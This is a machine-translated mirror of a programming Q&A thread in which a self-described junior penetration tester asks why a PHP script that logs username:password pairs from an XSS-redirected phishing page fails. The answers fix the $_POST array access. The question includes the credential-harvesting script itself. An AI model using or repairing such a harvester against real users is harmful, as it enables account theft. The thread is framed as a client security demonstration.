简体   繁体   English

PHP脚本未保存已发布的数据变量

[英]Posted data variables not being saved by PHP script

I'm a (junior) pen tester and I'm trying to make a script to demonstrate the dangers of an XSS attack to a client. 我是一名(初级)笔测试员,我正在尝试编写一个脚本来向客户端演示XSS攻击的危险。 I've got a php script that is meant to log user:pass combos when victims (ie myself in the demo) are redirected to a malicious page I'm hosting. 我有一个php脚本,旨在将受害者(即我自己在演示中)重定向到我托管的恶意页面时,记录user:pass组合。

This is the part of the source for the login: 这是登录来源的一部分:

<input  type="text" id="form_login_username" name="form[login][username]" value=""       class="large" />
<input  type="password" id="form_login_password" name="form[login][password]" value="" class="large" />

I'm new to php so it might be something really basic that's cause the problem. 我是php的新手,所以可能是导致问题的真正基础。 Here is my php script to log the details: 这是我的php脚本,用于记录详细信息:

<?PHP
$filename = "login_details.txt";
$username = $_POST["form[login][username]"]; 
$password = $_POST["form[login][password]"];
$fh = fopen($filename, "aw") or die("cannot open file");
fwrite($fh, $username . ":" . $password . "\r\n");
fclose($fh);

With this script I get: 通过此脚本,我得到:

 Notice: Undefined index: form[login][username] in...

And the same for the password. 与密码相同。

I added in isset to see if the variables are even being set, and they're not. 我添加了isset来查看变量是否被设置,而没有设置。

I know the script does work, as I tried it with a few other simple login pages and it's worked perfectly. 我知道脚本确实有效,因为我在其他一些简单的登录页面上进行了尝试,并且效果很好。 The only difference is that the username and password post variables in this case have square brackets in them - could this be the issue? 唯一的区别是在这种情况下,用户名和密码后的变量中带有方括号-这可能是问题所在吗? I have tried url encoding them but to no avail :( 我曾尝试对它们进行网址编码,但无济于事:(

Any ideas where I'm going wrong? 有什么想法我要去哪里吗? Thank you =) 谢谢=)

Because the valid way to access your variables is 因为访问变量的有效方法是

$_POST['form']['login']['username']

Just perform var_dump($_POST); 只需执行var_dump($_POST); and see what your post contains 看看你的帖子包含什么

Try this instead, in your form name attributes... 在表单名称属性中尝试此操作...

name="formUsername"
name="formPasswd"

In your receiving script... 在您的接收脚本中...

$username = $_POST['formUsername']; 
$password = $_POST['formPasswd];

您在该字段周围是否有<form action="youscript.php" method="post">

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM